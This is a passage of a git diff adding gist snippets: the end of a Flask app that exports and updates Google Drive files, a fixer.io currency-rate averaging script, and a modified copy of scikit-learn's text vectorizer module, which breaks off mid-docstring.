+	#file_id = '0BwwA4oUTeiV1UVNwOHItT0xfa2M'
+	request = service.files().export_media(fileId=file_id,mimeType='application/vnd.openxmlformats-officedocument.spreadsheetml.sheet')
+	#request = service.files().get_media(fileId=file_id)
+	
+	fh = open(output_file,'wb') #io.BytesIO()
+	downloader = MediaIoBaseDownload(fh, request)
+	done = False
+	while done is False:
+		status, done = downloader.next_chunk()
+		#print ("Download %d%%." % int(status.progress() * 100))
+	fh.close()
+	#return fh
+	
+def update_file(file_id, local_file):
+	credentials = get_credentials()
+	http = credentials.authorize(httplib2.Http())
+	service = discovery.build('drive', 'v3', http=http)
+	# First retrieve the file from the API.
+	file = service.files().get(fileId=file_id).execute()
+	# File's new content.
+	media_body = MediaFileUpload(local_file, resumable=True)
+	# Send the request to the API.
+	updated_file = service.files().update(
+		fileId=file_id,
+		#body=file,
+		#newRevision=True,
+		media_body=media_body).execute()
+		
+if __name__ == '__main__':
+	if os.path.exists('client_id.json') == False:
+		print('Client secrets file (client_id.json) not found in the app path.')
+		exit()
+	import uuid
+	app.secret_key = str(uuid.uuid4())
+	app.run(debug=True)
\ No newline at end of file
diff --git a/hard-gists/0b942dd86f01efe996b8977b158c37a6/._snippet.py b/hard-gists/0b942dd86f01efe996b8977b158c37a6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0b942dd86f01efe996b8977b158c37a6/._snippet.py differ
diff --git a/hard-gists/0b942dd86f01efe996b8977b158c37a6/snippet.py b/hard-gists/0b942dd86f01efe996b8977b158c37a6/snippet.py
new file mode 100644
index 00000000..5c1534dc
--- /dev/null
+++ b/hard-gists/0b942dd86f01efe996b8977b158c37a6/snippet.py
@@ -0,0 +1,52 @@
+""" script to gather the average crrency exchange rate from fixer.io """
+
+from urllib.parse import urlencode
+from datetime import date, timedelta
+import requests
+
+def currency_conversion_rate(base, target, that_date='latest'):
+    """
+    get the currency conversion rate for the specific date
+    """
+
+    main_api = 'http://api.fixer.io/{}?'.format(that_date)
+    url = main_api + urlencode({'base':base})
+    json_data = requests.get(url).json()
+
+    try:
+        result = json_data['rates'][target]
+    # except requests.exceptions.ConnectionError:
+        # result = "Connection Error"
+    except KeyError:
+        result = 0.00
+
+    return result
+
+def main(base, target, start_date, end_date):
+
+    step = timedelta(days=1)
+
+    total_days = 0
+    total_amount_sum = 0
+
+    while start_date < end_date:
+        that_date = start_date.strftime("%Y-%m-%d")
+        amount = currency_conversion_rate(base, target, that_date)
+        if amount != 0:
+            # because on fixer.io gives exchange rates for working days
+            # so we're only considering the days when we do have a rate available
+            # for more on this: https://github.com/hakanensari/fixer-io/issues/47
+            total_amount_sum += amount
+            total_days += 1
+
+        print(that_date, amount)
+
+
+        start_date += step
+
+    print(total_amount_sum/total_days)
+
+if __name__ == '__main__':
+    START_DATE = date(2017, 8, 1)
+    END_DATE = date(2017, 8, 15)
+    main('USD', 'INR', START_DATE, END_DATE)
diff --git a/hard-gists/0b9d8a742fe0efe0fe82/._snippet.py b/hard-gists/0b9d8a742fe0efe0fe82/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0b9d8a742fe0efe0fe82/._snippet.py differ
diff --git a/hard-gists/0b9d8a742fe0efe0fe82/snippet.py b/hard-gists/0b9d8a742fe0efe0fe82/snippet.py
new file mode 100644
index 00000000..9a168722
--- /dev/null
+++ b/hard-gists/0b9d8a742fe0efe0fe82/snippet.py
@@ -0,0 +1,1370 @@
+# -*- coding: utf-8 -*-
+# Authors: Olivier Grisel <olivier.grisel@ensta.org>
+# Mathieu Blondel <mathieu@mblondel.org>
+# Lars Buitinck <L.J.Buitinck@uva.nl>
+# Robert Layton <robertlayton@gmail.com>
+#          Jochen Wersdörfer <jochen@wersdoerfer.de>
+#          Roman Sinayev <roman.sinayev@gmail.com>
+#
+# License: BSD 3 clause
+"""
+The :mod:`sklearn.feature_extraction.text` submodule gathers utilities to
+build feature vectors from text documents.
+"""
+from __future__ import unicode_literals
+
+import array
+from collections import Mapping, defaultdict
+import numbers
+from operator import itemgetter
+import re
+import unicodedata
+
+import numpy as np
+import scipy.sparse as sp
+
+from ..base import BaseEstimator, TransformerMixin
+from ..externals.six.moves import xrange
+from ..preprocessing import normalize
+from .hashing import FeatureHasher
+from .stop_words import ENGLISH_STOP_WORDS
+from ..utils import deprecated
+from ..externals import six
+
+
+__all__ = ['CountVectorizer',
+           'ENGLISH_STOP_WORDS',
+           'TfidfTransformer',
+           'TfidfVectorizer',
+           'strip_accents_ascii',
+           'strip_accents_unicode',
+           'strip_tags']
+
+
+def strip_accents_unicode(s):
+    """Transform accentuated unicode symbols into their simple counterpart
+
+    Warning: the python-level loop and join operations make this
+    implementation 20 times slower than the strip_accents_ascii basic
+    normalization.
+
+    See also
+    --------
+    strip_accents_ascii
+        Remove accentuated char for any unicode symbol that has a direct
+        ASCII equivalent.
+    """
+    return ''.join([c for c in unicodedata.normalize('NFKD', s)
+                    if not unicodedata.combining(c)])
+
+
+def strip_accents_ascii(s):
+    """Transform accentuated unicode symbols into ascii or nothing
+
+    Warning: this solution is only suited for languages that have a direct
+    transliteration to ASCII symbols.
+
+    See also
+    --------
+    strip_accents_unicode
+        Remove accentuated char for any unicode symbol.
+    """
+    nkfd_form = unicodedata.normalize('NFKD', s)
+    return nkfd_form.encode('ASCII', 'ignore').decode('ASCII')
+
+
+def strip_tags(s):
+    """Basic regexp based HTML / XML tag stripper function
+
+    For serious HTML/XML preprocessing you should rather use an external
+    library such as lxml or BeautifulSoup.
+    """
+    return re.compile(r"<([^>]+)>", flags=re.UNICODE).sub(" ", s)
+
+
+def _check_stop_list(stop):
+    if stop == "english":
+        return ENGLISH_STOP_WORDS
+    elif isinstance(stop, six.string_types):
+        raise ValueError("not a built-in stop list: %s" % stop)
+    else:  # assume it's a collection
+        return stop
+
+
+class VectorizerMixin(object):
+    """Provides common code for text vectorizers (tokenization logic)."""
+
+    _white_spaces = re.compile(r"\s\s+")
+
+    def decode(self, doc):
+        """Decode the input into a string of unicode symbols
+
+        The decoding strategy depends on the vectorizer parameters.
+        """
+        if self.input == 'filename':
+            with open(doc, 'rb') as fh:
+                doc = fh.read()
+
+        elif self.input == 'file':
+            doc = doc.read()
+
+        if isinstance(doc, bytes):
+            doc = doc.decode(self.encoding, self.decode_error)
+
+        if doc is np.nan:
+            raise ValueError("np.nan is an invalid document, expected byte or "
+                             "unicode string.")
+
+        return doc
+
+    def _word_ngrams(self, tokens, stop_words=None):
+        """Turn tokens into a sequence of n-grams after stop words filtering"""
+        # handle stop words
+        if stop_words is not None:
+            tokens = [w for w in tokens if w not in stop_words]
+
+        # handle token n-grams
+        min_n, max_n = self.ngram_range
+        if max_n != 1:
+            original_tokens = tokens
+            tokens = []
+            n_original_tokens = len(original_tokens)
+            for n in xrange(min_n,
+                            min(max_n + 1, n_original_tokens + 1)):
+                for i in xrange(n_original_tokens - n + 1):
+                    tokens.append(" ".join(original_tokens[i: i + n]))
+
+        return tokens
+
+    def _char_ngrams(self, text_document):
+        """Tokenize text_document into a sequence of character n-grams"""
+        # normalize white spaces
+        text_document = self._white_spaces.sub(" ", text_document)
+
+        text_len = len(text_document)
+        ngrams = []
+        min_n, max_n = self.ngram_range
+        for n in xrange(min_n, min(max_n + 1, text_len + 1)):
+            for i in xrange(text_len - n + 1):
+                ngrams.append(text_document[i: i + n])
+        return ngrams
+
+    def _char_wb_ngrams(self, text_document):
+        """Whitespace sensitive char-n-gram tokenization.
+
+        Tokenize text_document into a sequence of character n-grams
+        excluding any whitespace (operating only inside word boundaries)"""
+        # normalize white spaces
+        text_document = self._white_spaces.sub(" ", text_document)
+
+        min_n, max_n = self.ngram_range
+        ngrams = []
+        for w in text_document.split():
+            w = ' ' + w + ' '
+            w_len = len(w)
+            for n in xrange(min_n, max_n + 1):
+                offset = 0
+                ngrams.append(w[offset:offset + n])
+                while offset + n < w_len:
+                    offset += 1
+                    ngrams.append(w[offset:offset + n])
+                if offset == 0:  # count a short word (w_len < n) only once
+                    break
+        return ngrams
+
+    def build_preprocessor(self):
+        """Return a function to preprocess the text before tokenization"""
+        if self.preprocessor is not None:
+            return self.preprocessor
+
+        # unfortunately python functools package does not have an efficient
+        # `compose` function that would have allowed us to chain a dynamic
+        # number of functions. However the cost of a lambda call is a few
+        # hundreds of nanoseconds which is negligible when compared to the
+        # cost of tokenizing a string of 1000 chars for instance.
+        noop = lambda x: x
+
+        # accent stripping
+        if not self.strip_accents:
+            strip_accents = noop
+        elif callable(self.strip_accents):
+            strip_accents = self.strip_accents
+        elif self.strip_accents == 'ascii':
+            strip_accents = strip_accents_ascii
+        elif self.strip_accents == 'unicode':
+            strip_accents = strip_accents_unicode
+        else:
+            raise ValueError('Invalid value for "strip_accents": %s' %
+                             self.strip_accents)
+
+        if self.lowercase:
+            return lambda x: strip_accents(x.lower())
+        else:
+            return strip_accents
+
+    def build_tokenizer(self):
+        """Return a function that splits a string into a sequence of tokens"""
+        if self.tokenizer is not None:
+            return self.tokenizer
+        token_pattern = re.compile(self.token_pattern)
+        return lambda doc: token_pattern.findall(doc)
+
+    def get_stop_words(self):
+        """Build or fetch the effective stop words list"""
+        return _check_stop_list(self.stop_words)
+
+    def build_analyzer(self):
+        """Return a callable that handles preprocessing and tokenization"""
+        if callable(self.analyzer):
+            return self.analyzer
+
+        preprocess = self.build_preprocessor()
+
+        if self.analyzer == 'char':
+            return lambda doc: self._char_ngrams(preprocess(self.decode(doc)))
+
+        elif self.analyzer == 'char_wb':
+            return lambda doc: self._char_wb_ngrams(
+                preprocess(self.decode(doc)))
+
+        elif self.analyzer == 'word':
+            stop_words = self.get_stop_words()
+            tokenize = self.build_tokenizer()
+
+            return lambda doc: self._word_ngrams(
+                tokenize(preprocess(self.decode(doc))), stop_words)
+
+        else:
+            raise ValueError('%s is not a valid tokenization scheme/analyzer' %
+                             self.analyzer)
+
+    def _check_vocabulary(self):
+        vocabulary = self.vocabulary
+        if vocabulary is not None:
+            if not isinstance(vocabulary, Mapping):
+                vocab = {}
+                for i, t in enumerate(vocabulary):
+                    if vocab.setdefault(t, i) != i:
+                        msg = "Duplicate term in vocabulary: %r" % t
+                        raise ValueError(msg)
+                vocabulary = vocab
+            else:
+                indices = set(six.itervalues(vocabulary))
+                if len(indices) != len(vocabulary):
+                    raise ValueError("Vocabulary contains repeated indices.")
+                for i in xrange(len(vocabulary)):
+                    if i not in indices:
+                        msg = ("Vocabulary of size %d doesn't contain index "
+                               "%d." % (len(vocabulary), i))
+                        raise ValueError(msg)
+            if not vocabulary:
+                raise ValueError("empty vocabulary passed to fit")
+            self.fixed_vocabulary_ = True
+            self.vocabulary_ = dict(vocabulary)
+        else:
+            self.fixed_vocabulary_ = False
+
+    @property
+    @deprecated("The `fixed_vocabulary` attribute is deprecated and will be "
+                "removed in 0.18.  Please use `fixed_vocabulary_` instead.")
+    def fixed_vocabulary(self):
+        return self.fixed_vocabulary_
+
+
+class HashingVectorizer(BaseEstimator, VectorizerMixin):
+    """Convert a collection of text documents to a matrix of token occurrences
+
+    It turns a collection of text documents into a scipy.sparse matrix holding
+    token occurrence counts (or binary occurrence information), possibly
+    normalized as token frequencies if norm='l1' or projected on the euclidean
+    unit sphere if norm='l2'.
+
+    This text vectorizer implementation uses the hashing trick to find the
+    token string name to feature integer index mapping.
+
+    This strategy has several advantages:
+
+    - it is very low memory scalable to large datasets as there is no need to
+      store a vocabulary dictionary in memory
+
+    - it is fast to pickle and un-pickle as it holds no state besides the
+      constructor parameters
+
+    - it can be used in a streaming (partial fit) or parallel pipeline as there
+      is no state computed during fit.
+
+    There are also a couple of cons (vs using a CountVectorizer with an
+    in-memory vocabulary):
+
+    - there is no way to compute the inverse transform (from feature indices to
+      string feature names) which can be a problem when trying to introspect
+      which features are most important to a model.
+
+    - there can be collisions: distinct tokens can be mapped to the same
+      feature index. However in practice this is rarely an issue if n_features
+      is large enough (e.g. 2 ** 18 for text classification problems).
+
+    - no IDF weighting as this would render the transformer stateful.
+
+    The hash function employed is the signed 32-bit version of Murmurhash3.
+
+    Parameters
+    ----------
+
+    input: string {'filename', 'file', 'content'}
+        If 'filename', the sequence passed as an argument to fit is
+        expected to be a list of filenames that need reading to fetch
+        the raw content to analyze.
+
+        If 'file', the sequence items must have a 'read' method (file-like
+        object) that is called to fetch the bytes in memory.
+
+        Otherwise the input is expected to be the sequence strings or
+        bytes items are expected to be analyzed directly.
+
+    encoding : string, 'utf-8' by default.
+        If bytes or files are given to analyze, this encoding is used to
+        decode.
+
+    decode_error : {'strict', 'ignore', 'replace'}
+        Instruction on what to do if a byte sequence is given to analyze that
+        contains characters not of the given `encoding`. By default, it is
+        'strict', meaning that a UnicodeDecodeError will be raised. Other
+        values are 'ignore' and 'replace'.
+
+    strip_accents: {'ascii', 'unicode', None}
+        Remove accents during the preprocessing step.
+        'ascii' is a fast method that only works on characters that have
+        an direct ASCII mapping.
+        'unicode' is a slightly slower method that works on any characters.
+        None (default) does nothing.
+
+    analyzer: string, {'word', 'char', 'char_wb'} or callable
+        Whether the feature should be made of word or character n-grams.
+        Option 'char_wb' creates character n-grams only from text inside
+        word boundaries.
+
+        If a callable is passed it is used to extract the sequence of features
+        out of the raw, unprocessed input.
+
+    preprocessor: callable or None (default)
+        Override the preprocessing (string transformation) stage while
+        preserving the tokenizing and n-grams generation steps.
+
+    tokenizer: callable or None (default)
+        Override the string tokenization step while preserving the
+        preprocessing and n-grams generation steps.
+
+    ngram_range: tuple (min_n, max_n)
+        The lower and upper boundary of the range of n-values for different
+        n-grams to be extracted. All values of n such that min_n <= n <= max_n
+        will be used.
+
+    stop_words: string {'english'}, list, or None (default)
+        If 'english', a built-in stop word list for English is used.
+
+        If a list, that list is assumed to contain stop words, all of which
+        will be removed from the resulting tokens.
+
+    lowercase: boolean, default True
+        Convert all characters to lowercase before tokenizing.
+
+    token_pattern: string
+        Regular expression denoting what constitutes a "token", only used
+        if `analyzer == 'word'`. The default regexp selects tokens of 2
+        or more alphanumeric characters (punctuation is completely ignored
+        and always treated as a token separator).
+
+    n_features : integer, optional, (2 ** 20) by default
+        The number of features (columns) in the output matrices. Small numbers
+        of features are likely to cause hash collisions, but large numbers
+        will cause larger coefficient dimensions in linear learners.
+
+    norm : 'l1', 'l2' or None, optional
+        Norm used to normalize term vectors. None for no normalization.
+
+    binary: boolean, False by default.
+        If True, all non zero counts are set to 1. This is useful for discrete
+        probabilistic models that model binary events rather than integer
+        counts.
+
+    dtype: type, optional
+        Type of the matrix returned by fit_transform() or transform().
+
+    non_negative : boolean, optional
+        Whether output matrices should contain non-negative values only;
+        effectively calls abs on the matrix prior to returning it.
+        When True, output values can be interpreted as frequencies.
+        When False, output values will have expected value zero.
+
+    See also
+    --------
+    CountVectorizer, TfidfVectorizer
+
+    """
+
+    def __init__(self, input='content', encoding='utf-8',
+                 decode_error='strict', strip_accents=None,
+                 lowercase=True, preprocessor=None, tokenizer=None,
+                 stop_words=None, token_pattern=r"(?u)\b\w\w+\b",
+                 ngram_range=(1, 1), analyzer='word', n_features=(2 ** 20),
+                 binary=False, norm='l2', non_negative=False,
+                 dtype=np.float64):
+        self.input = input
+        self.encoding = encoding
+        self.decode_error = decode_error
+        self.strip_accents = strip_accents
+        self.preprocessor = preprocessor
+        self.tokenizer = tokenizer
+        self.analyzer = analyzer
+        self.lowercase = lowercase
+        self.token_pattern = token_pattern
+        self.stop_words = stop_words
+        self.n_features = n_features
+        self.ngram_range = ngram_range
+        self.binary = binary
+        self.norm = norm
+        self.non_negative = non_negative
+        self.dtype = dtype
+
+    def partial_fit(self, X, y=None):
+        """Does nothing: this transformer is stateless.
+
+        This method is just there to mark the fact that this transformer
+        can work in a streaming setup.
+
+        """
+        return self
+
+    def fit(self, X, y=None):
+        """Does nothing: this transformer is stateless."""
+        # triggers a parameter validation
+        self._get_hasher().fit(X, y=y)
+        return self
+
+    def transform(self, X, y=None):
+        """Transform a sequence of documents to a document-term matrix.
+
+        Parameters
+        ----------
+        X : iterable over raw text documents, length = n_samples
+            Samples. Each sample must be a text document (either bytes or
+            unicode strings, file name or file object depending on the
+            constructor argument) which will be tokenized and hashed.
+
+        y : (ignored)
+
+        Returns
+        -------
+        X : scipy.sparse matrix, shape = (n_samples, self.n_features)
+            Document-term matrix.
+
+        """
+        analyzer = self.build_analyzer()
+        X = self._get_hasher().transform(analyzer(doc) for doc in X)
+        if self.binary:
+            X.data.fill(1)
+        if self.norm is not None:
+            X = normalize(X, norm=self.norm, copy=False)
+        return X
+
+    # Alias transform to fit_transform for convenience
+    fit_transform = transform
+
+    def _get_hasher(self):
+        return FeatureHasher(n_features=self.n_features,
+                             input_type='string', dtype=self.dtype,
+                             non_negative=self.non_negative)
+
+ 
+def _add_sparse_column(sparse,column):
+    import itertools
+    addition = sp.lil_matrix(sparse.shape)
+    sparse_coo = sparse.tocoo()
+    for i,j,v in itertools.izip(sparse_coo.row, sparse_coo.col, sparse_coo.data):
+        addition[i,j] = v + column[i,0]
+    return addition.tocsr()
+
+def _class_frequencies(X, y):
+    """Count the number of non-zero values for each class y in sparse X."""
+
+    labels = np.unique(y)
+    if len(labels) > 2:
+        raise ValueError("Delta works only with binary classification problems")
+
+    # Indices for each type of labels in y
+    N1 = np.where(y == labels[0])[0]
+    N2 = np.where(y == labels[1])[0]
+
+    # Number of positive documents that each term appears on
+    df1 = np.bincount(X[N1].nonzero()[1], minlength=X.shape[1])
+    # Number of negative documents that each term appears on
+    df2 = np.bincount(X[N2].nonzero()[1], minlength=X.shape[1])
+
+    return N1.shape[0], df1, N2.shape[0], df2
+
+
+def _document_frequency(X):
+    """Count the number of non-zero values for each feature in sparse X."""
+    if sp.isspmatrix_csr(X):
+        return np.bincount(X.indices, minlength=X.shape[1])
+    else:
+        return np.diff(sp.csc_matrix(X, copy=False).indptr)
+
+
+class CountVectorizer(BaseEstimator, VectorizerMixin):
+    """Convert a collection of text documents to a matrix of token counts
+
+    This implementation produces a sparse representation of the counts using
+    scipy.sparse.coo_matrix.
+
+    If you do not provide an a-priori dictionary and you do not use an analyzer
+    that does some kind of feature selection then the number of features will
+    be equal to the vocabulary size found by analyzing the data.
+
+    Parameters
+    ----------
+    input : string {'filename', 'file', 'content'}
+        If 'filename', the sequence passed as an argument to fit is
+        expected to be a list of filenames that need reading to fetch
+        the raw content to analyze.
+
+        If 'file', the sequence items must have a 'read' method (file-like
+        object) that is called to fetch the bytes in memory.
+
+        Otherwise the input is expected to be the sequence strings or
+        bytes items are expected to be analyzed directly.
+
+    encoding : string, 'utf-8' by default.
+        If bytes or files are given to analyze, this encoding is used to
+        decode.
+
+    decode_error : {'strict', 'ignore', 'replace'}
+        Instruction on what to do if a byte sequence is given to analyze that
+        contains characters not of the given `encoding`. By default, it is
+        'strict', meaning that a UnicodeDecodeError will be raised. Other
+        values are 'ignore' and 'replace'.
+
+    strip_accents : {'ascii', 'unicode', None}
+        Remove accents during the preprocessing step.
+        'ascii' is a fast method that only works on characters that have
+        an direct ASCII mapping.
+        'unicode' is a slightly slower method that works on any characters.
+        None (default) does nothing.
+
+    analyzer : string, {'word', 'char', 'char_wb'} or callable
+        Whether the feature should be made of word or character n-grams.
+        Option 'char_wb' creates character n-grams only from text inside
+        word boundaries.
+
+        If a callable is passed it is used to extract the sequence of features
+        out of the raw, unprocessed input.
+
+    preprocessor : callable or None (default)
+        Override the preprocessing (string transformation) stage while
+        preserving the tokenizing and n-grams generation steps.
+
+    tokenizer : callable or None (default)
+        Override the string tokenization step while preserving the
+        preprocessing and n-grams generation steps.
+
+    ngram_range : tuple (min_n, max_n)
+        The lower and upper boundary of the range of n-values for different
+        n-grams to be extracted. All values of n such that min_n <= n <= max_n
+        will be used.
+
+    stop_words : string {'english'}, list, or None (default)
+        If 'english', a built-in stop word list for English is used.
+
+        If a list, that list is assumed to contain stop words, all of which
+        will be removed from the resulting tokens.
+
+        If None, no stop words will be used. max_df can be set to a value
+        in the range [0.7, 1.0) to automatically detect and filter stop
+        words based on intra corpus document frequency of terms.
+
+    lowercase : boolean, True by default
+        Convert all characters to lowercase before tokenizing.
+
+    token_pattern : string
+        Regular expression denoting what constitutes a "token", only used
+        if `tokenize == 'word'`. The default regexp select tokens of 2
+        or more alphanumeric characters (punctuation is completely ignored
+        and always treated as a token separator).
+
+    max_df : float in range [0.0, 1.0] or int, optional, 1.0 by default
+        When building the vocabulary ignore terms that have a document
+        frequency strictly higher than the given threshold (corpus-specific
+        stop words).
+        If float, the parameter represents a proportion of documents, integer
+        absolute counts.
+        This parameter is ignored if vocabulary is not None.
+
+    min_df : float in range [0.0, 1.0] or int, optional, 1 by default
+        When building the vocabulary ignore terms that have a document
+        frequency strictly lower than the given threshold. This value is also
+        called cut-off in the literature.
+        If float, the parameter represents a proportion of documents, integer
+        absolute counts.
+        This parameter is ignored if vocabulary is not None.
+
+    max_features : optional, None by default
+        If not None, build a vocabulary that only consider the top
+        max_features ordered by term frequency across the corpus.
+
+        This parameter is ignored if vocabulary is not None.
+
+    vocabulary : Mapping or iterable, optional
+        Either a Mapping (e.g., a dict) where keys are terms and values are
+        indices in the feature matrix, or an iterable over terms. If not
+        given, a vocabulary is determined from the input documents. Indices
+        in the mapping should not be repeated and should not have any gap
+        between 0 and the largest index.
+
+    binary : boolean, False by default.
+        If True, all non zero counts are set to 1. This is useful for discrete
+        probabilistic models that model binary events rather than integer
+        counts.
+
+    dtype : type, optional
+        Type of the matrix returned by fit_transform() or transform().
+
+    Attributes
+    ----------
+    vocabulary_ : dict
+        A mapping of terms to feature indices.
+
+    stop_words_ : set
+        Terms that were ignored because
+        they occurred in either too many
+        (`max_df`) or in too few (`min_df`) documents.
+        This is only available if no vocabulary was given.
+
+    See also
+    --------
+    HashingVectorizer, TfidfVectorizer
+    """
+
+    def __init__(self, input='content', encoding='utf-8',
+                 decode_error='strict', strip_accents=None,
+                 lowercase=True, preprocessor=None, tokenizer=None,
+                 stop_words=None, token_pattern=r"(?u)\b\w\w+\b",
+                 ngram_range=(1, 1), analyzer='word',
+                 max_df=1.0, min_df=1, max_features=None,
+                 vocabulary=None, binary=False, dtype=np.int64):
+        self.input = input
+        self.encoding = encoding
+        self.decode_error = decode_error
+        self.strip_accents = strip_accents
+        self.preprocessor = preprocessor
+        self.tokenizer = tokenizer
+        self.analyzer = analyzer
+        self.lowercase = lowercase
+        self.token_pattern = token_pattern
+        self.stop_words = stop_words
+        self.max_df = max_df
+        self.min_df = min_df
+        if max_df < 0 or min_df < 0:
+            raise ValueError("negative value for max_df of min_df")
+        self.max_features = max_features
+        if max_features is not None:
+            if (not isinstance(max_features, numbers.Integral) or
+                        max_features <= 0):
+                raise ValueError(
+                    "max_features=%r, neither a positive integer nor None"
+                    % max_features)
+        self.ngram_range = ngram_range
+        self.vocabulary = vocabulary
+        self.binary = binary
+        self.dtype = dtype
+
+    def _sort_features(self, X, vocabulary):
+        """Sort features by name
+
+        Returns a reordered matrix and modifies the vocabulary in place
+        """
+        sorted_features = sorted(six.iteritems(vocabulary))
+        map_index = np.empty(len(sorted_features), dtype=np.int32)
+        for new_val, (term, old_val) in enumerate(sorted_features):
+            map_index[new_val] = old_val
+            vocabulary[term] = new_val
+        return X[:, map_index]
+
+    def _limit_features(self, X, vocabulary, high=None, low=None,
+                        limit=None):
+        """Remove too rare or too common features.
+
+        Prune features that are non zero in more samples than high or less
+        documents than low, modifying the vocabulary, and restricting it to
+        at most the limit most frequent.
+
+        This does not prune samples with zero features.
+        """
+        if high is None and low is None and limit is None:
+            return X, set()
+
+        # Calculate a mask based on document frequencies
+        dfs = _document_frequency(X)
+        tfs = np.asarray(X.sum(axis=0)).ravel()
+        mask = np.ones(len(dfs), dtype=bool)
+        if high is not None:
+            mask &= dfs <= high
+        if low is not None:
+            mask &= dfs >= low
+        if limit is not None and mask.sum() > limit:
+            mask_inds = (-tfs[mask]).argsort()[:limit]
+            new_mask = np.zeros(len(dfs), dtype=bool)
+            new_mask[np.where(mask)[0][mask_inds]] = True
+            mask = new_mask
+
+        new_indices = np.cumsum(mask) - 1  # maps old indices to new
+        removed_terms = set()
+        for term, old_index in list(six.iteritems(vocabulary)):
+            if mask[old_index]:
+                vocabulary[term] = new_indices[old_index]
+            else:
+                del vocabulary[term]
+                removed_terms.add(term)
+        kept_indices = np.where(mask)[0]
+        if len(kept_indices) == 0:
+            raise ValueError("After pruning, no terms remain. Try a lower"
+                             " min_df or a higher max_df.")
+        return X[:, kept_indices], removed_terms
+
+    def _count_vocab(self, raw_documents, fixed_vocab):
+        """Create sparse feature matrix, and vocabulary where fixed_vocab=False
+        """
+        if fixed_vocab:
+            vocabulary = self.vocabulary_
+        else:
+            # Add a new value when a new vocabulary item is seen
+            vocabulary = defaultdict()
+            vocabulary.default_factory = vocabulary.__len__
+
+        analyze = self.build_analyzer()
+        j_indices = _make_int_array()
+        indptr = _make_int_array()
+        indptr.append(0)
+        for doc in raw_documents:
+            for feature in analyze(doc):
+                try:
+                    j_indices.append(vocabulary[feature])
+                except KeyError:
+                    # Ignore out-of-vocabulary items for fixed_vocab=True
+                    continue
+            indptr.append(len(j_indices))
+
+        if not fixed_vocab:
+            # disable defaultdict behaviour
+            vocabulary = dict(vocabulary)
+            if not vocabulary:
+                raise ValueError("empty vocabulary; perhaps the documents only"
+                                 " contain stop words")
+
+        # some Python/Scipy versions won't accept an array.array:
+        if j_indices:
+            j_indices = np.frombuffer(j_indices, dtype=np.intc)
+        else:
+            j_indices = np.array([], dtype=np.int32)
+        indptr = np.frombuffer(indptr, dtype=np.intc)
+        values = np.ones(len(j_indices))
+
+        X = sp.csr_matrix((values, j_indices, indptr),
+                          shape=(len(indptr) - 1, len(vocabulary)),
+                          dtype=self.dtype)
+        X.sum_duplicates()
+        return vocabulary, X
+
+    def fit(self, raw_documents, y=None):
+        """Learn a vocabulary dictionary of all tokens in the raw documents.
+
+        Parameters
+        ----------
+        raw_documents : iterable
+            An iterable which yields either str, unicode or file objects.
+
+        Returns
+        -------
+        self
+        """
+        self.fit_transform(raw_documents)
+        return self
+
+    def fit_transform(self, raw_documents, y=None):
+        """Learn the vocabulary dictionary and return term-document matrix.
+
+        This is equivalent to fit followed by transform, but more efficiently
+        implemented.
+
+        Parameters
+        ----------
+        raw_documents : iterable
+            An iterable which yields either str, unicode or file objects.
+
+        Returns
+        -------
+        X : array, [n_samples, n_features]
+            Document-term matrix.
+        """
+        # We intentionally don't call the transform method to make
+        # fit_transform overridable without unwanted side effects in
+        # TfidfVectorizer.
+        self._check_vocabulary()
+        max_df = self.max_df
+        min_df = self.min_df
+        max_features = self.max_features
+
+        vocabulary, X = self._count_vocab(raw_documents,
+                                          self.fixed_vocabulary_)
+
+        if self.binary:
+            X.data.fill(1)
+
+        if not self.fixed_vocabulary_:
+            X = self._sort_features(X, vocabulary)
+
+            n_doc = X.shape[0]
+            max_doc_count = (max_df
+                             if isinstance(max_df, numbers.Integral)
+                             else max_df * n_doc)
+            min_doc_count = (min_df
+                             if isinstance(min_df, numbers.Integral)
+                             else min_df * n_doc)
+            if max_doc_count < min_doc_count:
+                raise ValueError(
+                    "max_df corresponds to < documents than min_df")
+            X, self.stop_words_ = self._limit_features(X, vocabulary,
+                                                       max_doc_count,
+                                                       min_doc_count,
+                                                       max_features)
+
+            self.vocabulary_ = vocabulary
+
+        return X
+
+    def transform(self, raw_documents):
+        """Transform documents to document-term matrix.
+
+        Extract token counts out of raw text documents using the vocabulary
+        fitted with fit or the one provided to the constructor.
+
+        Parameters
+        ----------
+        raw_documents : iterable
+            An iterable which yields either str, unicode or file objects.
+
+        Returns
+        -------
+        X : sparse matrix, [n_samples, n_features]
+            Document-term matrix.
+        """
+        if not hasattr(self, 'vocabulary_'):
+            self._check_vocabulary()
+
+        if not hasattr(self, 'vocabulary_') or len(self.vocabulary_) == 0:
+            raise ValueError("Vocabulary wasn't fitted or is empty!")
+
+        # use the same matrix-building strategy as fit_transform
+        _, X = self._count_vocab(raw_documents, fixed_vocab=True)
+        if self.binary:
+            X.data.fill(1)
+        return X
+
+    def inverse_transform(self, X):
+        """Return terms per document with nonzero entries in X.
+
+        Parameters
+        ----------
+        X : {array, sparse matrix}, shape = [n_samples, n_features]
+
+        Returns
+        -------
+        X_inv : list of arrays, len = n_samples
+            List of arrays of terms.
+        """
+        if sp.issparse(X):
+            # We need CSR format for fast row manipulations.
+            X = X.tocsr()
+        else:
+            # We need to convert X to a matrix, so that the indexing
+            # returns 2D objects
+            X = np.asmatrix(X)
+        n_samples = X.shape[0]
+
+        terms = np.array(list(self.vocabulary_.keys()))
+        indices = np.array(list(self.vocabulary_.values()))
+        inverse_vocabulary = terms[np.argsort(indices)]
+
+        return [inverse_vocabulary[X[i, :].nonzero()[1]].ravel()
+                for i in range(n_samples)]
+
+    def get_feature_names(self):
+        """Array mapping from feature integer indices to feature name"""
+        if not hasattr(self, 'vocabulary_') or len(self.vocabulary_) == 0:
+            raise ValueError("Vocabulary wasn't fitted or is empty!")
+
+        return [t for t, i in sorted(six.iteritems(self.vocabulary_),
+                                     key=itemgetter(1))]
+
+
+def _make_int_array():
+    """Construct an array.array of a type suitable for scipy.sparse indices."""
+    return array.array(str("i"))
+
+
+class TfidfTransformer(BaseEstimator, TransformerMixin):
+    """Transform a count matrix to a normalized tf or tf-idf representation
+
+    Tf means term-frequency while tf-idf means term-frequency times inverse
+    document-frequency. This is a common term weighting scheme in information
+    retrieval, that has also found good use in document classification.
+
+    The goal of using tf-idf instead of the raw frequencies of occurrence of a
+    token in a given document is to scale down the impact of tokens that occur
+    very frequently in a given corpus and that are hence empirically less
+    informative than features that occur in a small fraction of the training
+    corpus.
+
